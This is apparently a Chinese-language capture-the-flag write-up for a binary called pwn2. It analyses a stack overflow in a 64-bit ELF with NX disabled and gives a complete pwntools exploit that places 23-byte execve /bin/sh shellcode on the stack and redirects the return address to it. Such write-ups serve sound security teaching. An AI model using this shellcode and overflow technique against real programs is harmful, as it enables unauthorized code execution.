查看程序结构
查看程序结构后我们可以得到的信息
64位的ELF格式程序
开启了RELRO和PIE保护
未开启NX和Canary保护(可以考虑栈溢出)
逆向分析
将程序用IDA64打开分析
迎面而来的main函数很明显可以看出存储栈溢出;
这也是我们利用的关键点;
接着我们在查看是否存在可利用的字符串
如果存在system函数,那么我们只需要直接修改return地址,就可以直接利用栈溢出,getshell。通过快捷键“shift + F12”打开字串窗口查看字符串
不出所料,啥也没有。我们可以考虑别的思路了。
我们分析main函数的时候可以看到栈中的s距离rbp还有一段距离,且程序的NX保护未开启,我们可以考虑写入shellcode在栈中执行。
并且根据伪代码分析,我们可以得出,程序运行是,会先把输入值的存放地址输出,这也方便了我们进行shellcode的写入。
在写入shellcode的位置需要考虑shellcode在程序运行过程中是否会被更改。
根据main函数的汇编代码可以看出,在fget函数后,程序还会对var_30和var_8这两个位置进行修改。
所以我们选择尽量大的连续空间给我放置shellcode来执行。
经过分析,在栈中最大的空间即为变量var_30和var_8之间的栈空间,共32个字节。
所以我们构造的payload应小于等于32字节才是可行的shellcode。
在网上我们可以查到相对较短的syscall系统调用的shellcode为23字节,满足我们所需的要求。
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
剩下的就是相对简单的偏移量分析;
根据图中与rbp的偏移,我们相对比较容易的出var_30对应的变量为v5,var_8对应的变量为v10。
若我们要将shellcode填充在var_30和var_8之间,这先需要填充0x3c-0x28个字节的字符;
随后填充我们的shellcode,然后再填充0x28-len(shellcode)长度的空间到ebp的位置
随后将ebp填充
再覆盖返回地址为shellcode的位置进行执行即可;
由于程序运行时,即输出了输入值s的存放首地址,我们输入的首地址与shellcode之间的距离是0x3c-0x28=0x14,故只需返回s的首地址加上0x14即可;
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn2')
elf = ELF('./pwn2')
# gdb.attach(p)
p.recvuntil('So this is where Sally sold her sea SHELLS: ')
ret_addr = int(p.recvuntil(b'\n')[:-1], 16)
# 用一下的汇编代码生成的exp为23字节,也能符合我们的要求
# 但是网上的一些汇编代码是无法满足要求的
# shellcode = asm(
# '''
# xor rsi,rsi
# mul esi
# push rax
# mov rbx,0x68732f2f6e69622f
# push rbx
# push rsp
# pop rdi
# mov al, 59
# syscall
# '''
# )
#amd64
# 这样子生成的shellcode会超过我们预期的字节数
# shellcode=asm(shellcraft.sh())
#这里是网上已经写好的短shellcode,能达到同样的目的
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload = b'a'*(0x3c-0x28) + shellcode + b'b'*(0x28-len(shellcode)+0x8) + p64(ret_addr+0x14)
p.sendline(payload)
p.interactive()